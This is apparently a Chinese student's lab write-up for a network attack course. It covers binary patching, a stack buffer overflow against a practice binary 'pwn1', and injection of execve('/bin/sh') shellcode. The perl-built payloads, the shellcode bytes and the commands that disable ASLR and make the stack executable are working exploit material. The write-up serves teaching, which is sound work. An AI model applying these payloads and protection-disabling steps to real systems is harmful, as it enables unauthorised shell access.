2019-2020-2 20175204 张湲祯《网络对抗技术》Exp1 PC平台逆向破解
2019-2020-2 20175204 张湲祯《网络对抗技术》Exp1 PC平台逆向破解
一、实验任务
1.直接修改程序机器指令,改变程序执行流程
2.通过构造输入参数,造成BOF攻击,改变程序执行流
2.1反汇编,了解程序的基本功能
2.2确认输入字符串哪几个字符会覆盖到返回地址
2.3确认用什么值来覆盖返回地址
2.4构造输入字符串
3.注入Shellcode并执行
3.1准备一段Shellcode
3.2准备工作
3.3构造要注入的payload
3.4执行
二、实验要求
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
2.掌握反汇编与十六进制编程器
3.能正确修改机器指令改变程序执行流程
4.能正确构造payload进行bof攻击
三、实验中遇到的问题
四、相关问题
五、实验感想
实验步骤:
1.1直接修改程序机器指令,改变程序执行流程
(1)下载并解压文件pwn1
,用objdump -d pwn1 | more
反汇编并分页显示。
(2)通过/main
找到主函数位置;其中执行跳转的语句call 8048491
,它对应的机器指令为e8 d7 ff ff ff
;e8即跳转。本来正常流程,EIP的值应该是下条指令的地址,即80484ba
(3)这条指令将调用位于地址8048491
处的foo函数;
输入/foo
查找foo函数,如下图:
当执行e8 d7ffffff
时,就会执行EIP + d7ffffff
这个位置的指令。而d7ffffff
是补码,表示-41,41=0x29 80484ba + d7ffffff= 80484ba-0x29
正好是8048491这个值
(4)main函数调用foo,对应机器指令为e8 d7ffffff
,而要达到改变执行程序、使执行由foo
改变为getshell
就要修改机器指令,从指向08048491
改为指向0804847d
,新 eip 为 0804847d = 80484ba + 偏移量
;利用Windows计算器,计算0804847d-80484ba
就能得到补码,是c3ffffff
。
(5)修改可执行文件,将其中的call指令的目标地址由d7ffffff
变为c3ffffff
。
用cp pwn1 pwn2
复制文件,以保留修改前文件;使用vi编辑pwn2文件,打开后发现是一堆乱码,是因为已汇编为机器代码,需要进入十六进制模式,按Esc后输入:%!xxd
,并输入/d7
查找e8d7ffffff
(6)接下来修改地址,将d7
改为c3
,按r后可以更改,输入:%!xxd -r
将16进制转换为原格式后退出。
(7)再输入objdump -d pwn2 | more
反汇编查看指令是否更改
(9)运行pwn1和pwn2对比:
可见pwn1还是实现foo的功能,显示用户输入的内容;而pwn2则调用实现shell功能。
1.2通过构造输入参数,造成BOF攻击,改变程序执行流
(1)输入objdump -d pwn1 | more
反汇编pwn1
该可执行文件正常运行是调用如下函数foo
,这个函数有Buffer overflow
漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串设定后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
foo
函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,这样就可以覆盖返回地址。
(2)确认输入字符串哪几个字符会覆盖到返回地址
这里我们使用gdb
调试功能
其中EIP
的值为0x35353535
。
(3)再次调试程序,继续查看EIP中的值
EIP中值为0x34333231
,分别为4、3、2、1的ASCII码值,发现输入的1234被覆盖到堆栈上的返回地址。
(4)1234最终会覆盖到堆栈上的返回地址,只要把1234替换为getShell
的内存地址,输给pwn1,pwn1就会跳转到getShell函数。
(5)由于数据按小端存储,因此我们应该输11111111222222223333333344444444\x7d\x84\x04\x08
,由于没法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,需要用到perl
功能翻译perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
\x0a
表示回车。
(6)将该字符串用./pwn1
输入,运行后输入该字符串,会提示段错误,没有跳转到getShell函数,说明我们复制显示出的字符串并不是翻译得到的正确值。
(7)因此使用16进制查看指令xxd
查看input文件的内容。然后将input的输入,通过管道符“|”,作为pwn1的输入(cat input;cat) | ./pwn20175204
1.3注入Shellcode并执行
(1)准备工作
依次输入:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
(2)Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn
(注意这时先不要按回车,否则后续找不到该进程)
(3)开另外一个终端,输入ps -ef | grep pwn1
查pwn1的进程号
用gdb来调试pwn1这个进程。
进程号为2445
输入attach2445
启动gdb调试这个进程。
(4)输入disassemble foo
对foo进行反汇编查看到ret的地址为0x080484ae
。
在0x080484ae
处设置断点,输入break *0x080484ae
。
在之前的终端中按下回车,然后在调试的终端中输入c继续运行。
输入info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据:
0xffffd32c
存放的数据是01020304
,就是返回地址的位置。shellcode
地址就是 0xffffd32c+4
,即0xffffd330
(6)修改文件中代码为
perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行(cat input_shellcode;cat) | ./pwn1
,如下图所示攻击成功,执行shell功能:
2.实验内容:
2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:NOP指令即“空指令”,机器码为:0x90
JNE:条件转移指令,如果不相等则跳转,机器码为:0x75
JE:条件转移指令,如果相等则跳转,机器码为:0x74
JMP:无条件转移指令,机器码为:Short Jump(短跳转):0xEB;Near Jump(近跳转):0xE9;Far Jump(远跳转):0xEA
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果,机器码为:0x39
2.2 掌握反汇编与十六进制编程器
反汇编指令为:objdump -d <文件名>
十六进制编辑器perl指令为:perl -e 'print "xxx"' > input
2.3能正确修改机器指令改变程序执行流程
见实验内容1.1
2.4能正确构造payload进行bof攻击
见实验内容1.3
3.实验中遇到的问题
问题1:在使用gdb调试时,显示命令未找到。
解决方案:使用apt-get install gdb命令下载。
问题2:在执行execstack命令时显示命令未找到。
解决方案:同理使用apt-get install prelink下载。
问题3:输入echo "0" > /proc/sys/kernel/randomize_va_space
后提示权限不够。
解决方案:使用sudo -s命令进入管理员模式输入。
4.相关问题:什么是漏洞?漏洞有什么危害?
答:漏洞简单来说就是某些规则、协议、策略、代码中有制定不周密、有缺陷的地方;在之前信息安全技术课上也学习过漏洞的相关知识,规范上来讲漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,如果系统有了漏洞未及时打补丁进行修复,那么很有可能会被恶意攻击,例如利用TCP/IP协议的漏洞进行洪水攻击等,系统有漏洞也会容易被攻击,可能会被窃取重要信息、或者篡改重要信息甚至破坏系统。
5.实验感想
通过本次实验对缓冲区溢出攻击有了更直观的认识,以前只是在课上学习过缓冲区溢出攻击,就是通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令;但对于缓冲区溢出攻击的了解也仅仅局限于这些,也无法具体实现,在这次实验中,认识到了是如何修改返回地址进行攻击的,本次实验也发现自己的汇编课程内容也忘了很多了,还需要努力学习。